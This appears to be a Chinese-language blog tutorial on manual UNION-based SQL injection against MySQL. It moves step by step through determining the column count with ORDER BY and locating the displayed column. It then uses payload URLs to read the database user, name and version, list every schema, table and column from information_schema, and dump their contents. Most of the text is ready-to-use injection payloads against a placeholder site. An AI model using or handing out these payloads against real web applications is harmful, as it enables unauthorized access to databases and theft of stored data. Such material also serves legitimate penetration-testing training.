获取字段的总数
使⽤ order by/group by
语句。通过往后边拼接数字,可确定字段数量,若⼤于该数字,则显示错误,若小于或等于该数字,页面正常。
http://xxx?id=1 order by 6
如图,因为一共有六个字段,所以order by 6
时是正常的,order by 7
时就会出错。
判断回显数据的字段的位置
使用http://xxx?id=-1 union select 1,2,3,4,5,6
可以得知显示位,记得之前的要否定,如id=-1
或id=1 and 1=2
这样可以避免因出现了单行数据而不出显示位
注意⼀定要拼接够足够的字段数,否则SQL语句报错。
获取基本信息
查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况
这里比如显示位是2
http://xxx?id=-1 union select 1,user(),3,4,5,6
http://xxx?id=-1 union select 1,database(),3,4,5,6
爆数据库
http://xxx?id=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata
information_schema.schemata
是information_schema
数据库中的一个表,schema_name
是这个表中的一个字段,储存着所有的数据库名字,这里不需要用where
定义,因为information_schema.schemata
同时表示了数据库和表,MySQL≥5.0以上的版本都有group_concat
是使数据成一行显示
获取数据库里面的表
http://xxx?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='你要查询的数据库'
或
http://xxx?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='你要查询的数据库' limit 2,1
- 直接
=database()
是当前数据库 information_schema.tables
是information_schema
中的一个表,table_name
是该表中的一个字段,这个字段储存着所有数据库的表名,这里需要用where
定位到要查询的数据库limit
用来进行限制只输出一行,limit 0,1
就是从第一行开始输出一行,limit 0,2
就是从第一行开始输出两行。
获取数据库里面的表的字段
http://xxx?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='所在的数据库' and table_name='你要查的表';
information_schema.columns
是information_schema
中的一个表,column_name
是表中的一个字段,储存所有的字段名字- 如果加
table_schema='所在的数据库' and
是为了防止有两个表名字相同 - 也可以转成16进制,
0x.....
获取内容
http://xxx?id=-1 union select 1,'你想知道的字段的内容或查询语句',3,4,5,6 from (database_name.)table_name
- database_name是数据库名
- table_name是表名